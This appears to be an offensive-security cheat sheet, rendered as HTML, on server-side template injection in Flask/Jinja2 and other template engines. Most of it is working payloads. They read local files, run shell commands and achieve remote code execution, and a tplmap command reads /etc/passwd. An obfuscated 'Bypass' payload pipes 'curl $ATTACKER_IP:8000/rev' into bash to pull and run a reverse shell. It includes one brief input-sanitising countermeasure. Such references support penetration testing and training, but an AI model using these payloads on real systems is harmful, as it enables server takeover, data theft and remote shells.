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<div class="column column-3">
<ul>
<li><a href="#server-side-template-injection-ssti">Server Side Template Injection (SSTI)</a><ul>
<li><a href="#usage">Usage</a></li>
<li><a href="#identification-of-template-engine">Identification of Template Engine</a></li>
<li><a href="#tools">Tools</a><ul>
<li><a href="#tplmap">TPlmap</a></li>
<li><a href="#countermeasure">Countermeasure</a></li>
</ul>
</li>
<li><a href="#bypass">Bypass</a></li>
</ul>
</li>
</ul>
</div>
<h1 id="server-side-template-injection-ssti">Server Side Template Injection (SSTI)</h1>
<p>Pass in parameters to control the template.</p>
<h2 id="usage">Usage</h2>
<ul>
<li>Sanity test</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="p">{{</span><span class="mi">2</span><span class="o">+</span><span class="mi">2</span><span class="p">}}</span>
</code></pre></div>
<ul>
<li>Flask template LFI</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="p">{{</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="vm">__mro__</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()[</span><span class="mi">40</span><span class="p">]()(</span><span class="o">&lt;</span><span class="n">file</span><span class="o">&gt;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()}}</span>
</code></pre></div>
<ul>
<li>Executing commands</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="o">{{</span> <span class="s1">&#39;&#39;</span>.__class__.__mro__<span class="o">[</span><span class="m">1</span><span class="o">]</span>.__subclasses__<span class="o">()[</span><span class="m">401</span><span class="o">](</span><span class="s2">&quot;whoami&quot;</span>, <span class="nv">shell</span><span class="o">=</span>True, <span class="nv">stdout</span><span class="o">=</span>-1<span class="o">)</span>.communicate<span class="o">()</span> <span class="o">}}</span>
</code></pre></div>
<ul>
<li>RCE on server</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="p">{{</span><span class="n">config</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="p">[</span><span class="s1">&#39;os&#39;</span><span class="p">]</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="o">&lt;</span><span class="n">command</span><span class="o">&gt;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()}}</span>
</code></pre></div>
<h2 id="identification-of-template-engine">Identification of Template Engine</h2>
<p>Identify via payload checking
* Smarty: <code>a{*comment*}b</code>
* Mako: <code>${"z".join("ab")}</code>
* Twig or Jinja2</p>
<div class="codehilite"><pre><span></span><code><span class="o">{{</span><span class="m">7</span>*7<span class="o">}}</span>
<span class="o">{{</span><span class="m">7</span>*<span class="s1">&#39;7&#39;</span><span class="o">}}</span>
</code></pre></div>
<h2 id="tools">Tools</h2>
<h3 id="tplmap">TPlmap</h3>
<div class="codehilite"><pre><span></span><code>git clone https://github.com/epinna/tplmap.git
pip2 install -r requirements
</code></pre></div>
<p>|HTTP Method|Parameter|
|-----------|---------|
|GET|<code>tplmap -u &lt;url&gt;/?&lt;vulnparam&gt;</code>|
|POST|<code>tplmap -u &lt;url&gt; -d '&lt;vulnparam&gt;'</code>|</p>
<ul>
<li>Using remote command</li>
</ul>
<div class="codehilite"><pre><span></span><code>tplmap -u http://&lt;ip&gt;:&lt;port&gt;/ -d &#39;&lt;vulnparam&gt;&#39; --os-cmd &quot;cat /etc/passwd&quot;
</code></pre></div>
<h3 id="countermeasure">Countermeasure</h3>
<ul>
<li>Remove everything in user input but alnum. Passing data, not data to f-string.</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="nb">input</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">sub</span><span class="p">(</span><span class="s2">&quot;[^A-Za-z0-9]&quot;</span><span class="p">,</span> <span class="s2">&quot;&quot;</span><span class="p">,</span> <span class="nb">input</span><span class="p">)</span>
<span class="n">template</span> <span class="o">=</span> <span class="s2">&quot;User input is {{ input }}&quot;</span>
<span class="k">return</span> <span class="n">render_template_string</span><span class="p">(</span><span class="n">template</span><span class="p">,</span> <span class="nb">input</span><span class="o">=</span><span class="nb">input</span><span class="p">)</span>
</code></pre></div>
<h2 id="bypass">Bypass</h2>
<ul>
<li>Save reverse shell as <code>rev</code></li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="o">{{</span>request<span class="p">|</span>attr<span class="o">(</span><span class="s2">&quot;application&quot;</span><span class="o">)</span><span class="p">|</span>attr<span class="o">(</span><span class="s2">&quot;\x5f\x5fglobals\x5f\x5f&quot;</span><span class="o">)</span><span class="p">|</span>attr<span class="o">(</span><span class="s2">&quot;\x5f\x5fgetitem\x5f\x5f&quot;</span><span class="o">)(</span><span class="s2">&quot;\x5f\x5fbuiltins\x5f\x5f&quot;</span><span class="o">)</span><span class="p">|</span>attr<span class="o">(</span><span class="s2">&quot;\x5f\x5fgetitem\x5f\x5f&quot;</span><span class="o">)(</span><span class="s2">&quot;\x5f\x5fimport\x5f\x5f&quot;</span><span class="o">)(</span><span class="s2">&quot;os&quot;</span><span class="o">)</span><span class="p">|</span>attr<span class="o">(</span><span class="s2">&quot;popen&quot;</span><span class="o">)(</span><span class="s2">&quot;curl </span><span class="nv">$ATTACKER_IP</span><span class="s2">:8000/rev | bash&quot;</span><span class="o">)</span><span class="p">|</span>attr<span class="o">(</span><span class="s2">&quot;read&quot;</span><span class="o">)()}}</span>
</code></pre></div>
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